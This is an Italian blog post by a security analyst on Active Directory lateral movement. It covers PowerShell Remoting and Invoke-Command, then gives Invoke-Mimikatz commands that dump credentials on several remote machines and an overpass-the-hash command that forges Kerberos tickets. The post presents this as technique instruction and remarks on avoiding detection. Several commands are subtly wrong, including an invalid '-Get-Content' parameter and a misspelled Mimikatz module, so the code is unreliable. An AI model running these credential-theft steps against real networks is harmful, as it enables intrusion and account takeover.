Andrea Bruschi, Cyber Security Analyst

Active Directory Lateral Movement

Published by Andy

Network Lateral Movement, o semplicemente "Lateral Movement", si riferisce alle tecniche utilizzate per muoversi progressivamente attraverso una rete, tecniche usate per identificare, accedere ed estrarre dati sensibili. Si utilizzano diversi strumenti e metodi per ottenere privilegi e accessi più elevati, questo permette di muoversi lateralmente attraverso la rete per mappare il sistema, identificare gli obiettivi ed eventualmente raggiungere i dati più importanti. Con i privilegi di amministratore, le attività di lateral movement possono essere estremamente difficili da rilevare, in quanto possono apparire come "normale" traffico di rete.

Lo strumento più comune che agevola nel lateral movement, è PsExec. Si tratta di uno strumento a riga di comando che permette di eseguire processi su sistemi remoti e di reindirizzare l'output delle applicazioni della console al sistema locale in modo che queste applicazioni sembrino essere in esecuzione localmente.

Nei sistemi operativi Windows più recenti (da Windows Server 2012 in poi è abilitato di default), è stato introdotto PowerShell Remoting, che permette agli amministratori di eseguire comandi su sistemi remoti tramite varie tecnologie, tra cui WMI, RPC e WS-Management. È possibile eseguire comandi in uno o centinaia di computer con un unico comando di PowerShell.

Se PSRemoting non è abilitato sulla macchina, occorrono i privilegi di amministratore per abilitarlo e per aggiungere un'eccezione al firewall. Di default utilizza le porte 5985 per http (default) e 5986 per https. Questo significa che è possibile, all'occorrenza, utilizzare un canale criptato ed incrementare le possibilità di non essere scoperti.

Per inizializzare una shell remota con PSRemoting si utilizza il seguente comando:

Enter-PSSession -ComputerName dc.machine.local

Una caratteristica importante di PSRemoting è il fatto che le sessioni sono stateful. Infatti, se si inizializza una sessione assegnandola ad una variabile, tutte le variabilii che creeremo nella sessione remota di powershell saranno "memorizzate" e di nuovo disponibili qualora ristabilissimo una sessione utilizzando la variabile di sessione creata.

Locale
$sess = New-PSSession - ComputerName dc.machine.local
Enter-PSSession -Session $sess

Sessione remota
$proc = Get-Process
exit

Locale
Enter-PSSession -Session $sess

Sessione remota
$proc
Mostrerà i processi, perché stateful

Invoke-Command può essere utilizzato per lanciare comandi su una o più macchine remote. Non solo, questo cmdlet può essere utilizzato per eseguire script, anche come background job etc. Enter-PSSession o New-PSSession non hanno un parametro file con cui caricare uno script. Invoke-Command è molto comodo per pass the hash, usare credenziali ed eseguire comandi su molteplici macchine remote in modo parallelo. Per usare le credenziali di accesso al computer remoto, utilizzare il parametro -Credential

Script block

PS C:\> Invoke-Command -ComputerName dc.computer.local -ScriptBlock {whoami;hostname}
PS C:\> Invoke-Command -ComputerName dc.computer.local -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}
PS C:\> Invoke-Command -Get-Content <lista server> -ScriptBlock {whoami;hostname}
PS C:\> Invoke-Command -Get-Content <lista server> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}

Script da file

PS C:\> Invoke-Command -ComputerName dc.computer.local -FilePath c:\scripts\Get-PassHashes.ps1
PS C:\> Invoke-Command -Get-Content <lista server> -FilePath c:\scripts\Get-PassHashes.ps1

E' possibile passare funzioni da eseguire in remoto allo script block. Se sulla macchina è presente Contrained language mode, il comando potrebbe non essere eseguito.

function hello_world
{
Write-Output "Hello world function"
}

PS C:\> . .\helloworld.ps1
PS C:\> Invoke-Command -ComputerName dc.computer.local -ScriptBlock ${function:hello_world}

Dal momento che, come detto in precedenza, non è possibile eseguire script con Enter-PSSession o New-PSSession, possiamo utilizzare la tecnica seguente per utilizzare vari tool sulla sessione remota.

Invoke-Command -FilePath C:\scripts\mimikatz.ps1 -Session $sess
Enter-PSSession -Session $sess

Invoke-Mimikatz Mimikatz è un tool di post-exploitation che può fare il dump delle password dalla memoria, così come gli hash, i PIN e i ticket Kerberos. Altri attacchi utili sono il pass/replay-the-hash, il pass-the-ticket o la costruzione di golden tickets Kerberos. Lo script necessita di privilegi elevati per il dump delle credenziali. Molti attacchi hanno bisogno di privilegi specifici.

Dump delle credenziali

Invoke-Mimikatz -DumpCreds

Dump delle credenziali su multiple macchine remote

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1", "sys2")

Invoke-Mimikatz usa PS remoting Invoke-Command per eseguire i comandi appena citati.

Over pass the hash Over pass the hash è una tecnica che permette di creare un ticket kerberos valudo utilizzando NTLM hash

Invoke-Mimikatz -Command '"securlsa::pth /user:Administrator /domain:domain.do.main.local /ntlm:<ntlmhash> /run:powershell.exe"'
This article is my 6th oldest. It is 667 words long